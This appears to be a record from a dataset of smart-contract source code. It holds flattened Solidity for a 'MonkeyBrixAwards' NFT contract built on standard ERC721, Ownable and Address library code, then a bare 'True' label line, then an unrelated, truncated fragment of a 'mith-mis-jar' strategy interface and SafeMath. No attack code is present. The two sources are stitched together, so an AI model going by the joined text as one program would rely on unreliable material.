internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4); } pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 tokenId) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping (uint256 => address) private _owners; // Mapping owner address to token count mapping (address => uint256) private _balances; // Mapping from token ID to approved address mapping (uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping (address => mapping (address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ''; } /** * @dev Base URI for computing {tokenURI}. Empty by default, can be overriden * in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom(address from, address to, uint256 tokenId) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual { _mint(to, tokenId); require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer(address from, address to, uint256 tokenId) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { // solhint-disable-next-line no-inline-assembly assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { } } pragma solidity ^0.8.0; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } pragma solidity ^0.8.0; contract MonkeyBrixAwards is ERC721Enumerable, Ownable{ using SafeMath for uint256; using Address for address; using Strings for uint256; uint16 public CURRENT_METAL = 0; uint16 public METAL_END = 529; uint16 public CURRENT_CRYSTAL = 530; uint16 public CRYSTAL_END = 549; uint256 public MAX_SUPPLY = 550; string private _baseURIExtended; mapping (uint256 => string) _tokenURIs; constructor() ERC721("MonkeyBrix Awards","MKBXA"){ } function airdrop(address[] memory receivers, uint8[] memory metalCounts, uint8[] memory crystalCounts) public onlyOwner{ require(receivers.length == metalCounts.length, "mismatched length"); require(metalCounts.length == crystalCounts.length, "mismatched length"); uint8 metalCount; uint8 crystalCount; address receiver; uint8 i; for (i=0; i<receivers.length; i++){ receiver = receivers[i]; metalCount = metalCounts[i]; mintMetal(receiver , metalCount); crystalCount = crystalCounts[i]; mintCrystal(receiver, crystalCount); } } function mintMetal(address receiver, uint8 count) public onlyOwner { uint8 i; uint16 tokenId; for (i = 0 ; i < count; i++){ require(CURRENT_METAL <= METAL_END, "reached end of METAL"); tokenId = CURRENT_METAL; CURRENT_METAL = CURRENT_METAL + 1; _safeMint(receiver, tokenId); } } function mintCrystal(address receiver, uint8 count) public onlyOwner{ uint8 i; uint16 tokenId; for (i = 0 ; i < count; i++){ require(CURRENT_CRYSTAL <= CRYSTAL_END, "reached end of crystal"); tokenId = CURRENT_CRYSTAL; CURRENT_CRYSTAL = CURRENT_CRYSTAL + 1; _safeMint(receiver, tokenId); } } function withdraw() public onlyOwner { uint balance = address(this).balance; payable(msg.sender).transfer(balance); } function reserveTokens(address receiver, uint8 metalCount, uint8 crystalCount) public onlyOwner { mintCrystal(receiver, crystalCount); mintMetal(receiver, metalCount); } function _baseURI() internal view virtual override returns (string memory) { return _baseURIExtended; } // Sets base URI for all tokens, only able to be called by contract owner function setBaseURI(string memory baseURI_) external onlyOwner { _baseURIExtended = baseURI_; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory base = _baseURI(); return string(abi.encodePacked(base, tokenId.toString())); } }

True

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// hevm: flattened sources of src/mith-mis-jar.sol pragma solidity >=0.6.0 <0.7.0 >=0.6.2 <0.7.0 >=0.6.7 <0.7.0; ////// src/interfaces/strategy.sol // SPDX-License-Identifier: MIT /* pragma solidity ^0.6.2; */ interface IStrategy { function rewards() external view returns (address); function gauge() external view returns (address); function want() external view returns (address); function initiator() external view returns (address); function stakingContract() external view returns (address); function treasury() external view returns (address); function deposit() external; function withdrawForSwap(uint256) external returns (uint256); function withdraw(address) external; function withdraw(uint256) external; function skim() external; function withdrawAll() external returns (uint256); function balanceOf() external view returns (uint256); function getHarvestable() external view returns (uint256); function harvest() external; function setJar(address _jar) external; function setInitiator(address _initiator) external; function setStakingContract(address _stakingContract) external; function isWhitelisted(address _address) external view returns(bool); function addToWhiteList(address _address) external; function removeFromWhiteList(address _address) external; function execute(address _target, bytes calldata _data) external payable returns (bytes memory response); function execute(bytes calldata _data) external payable returns (bytes memory response); } ////// src/lib/context.sol // SPDX-License-Identifier: MIT /* pragma solidity ^0.6.0; */ /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } ////// src/lib/safe-math.sol // SPDX-License-Identifier: MIT /* pragma solidity ^0.6.0; */ /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } ////// 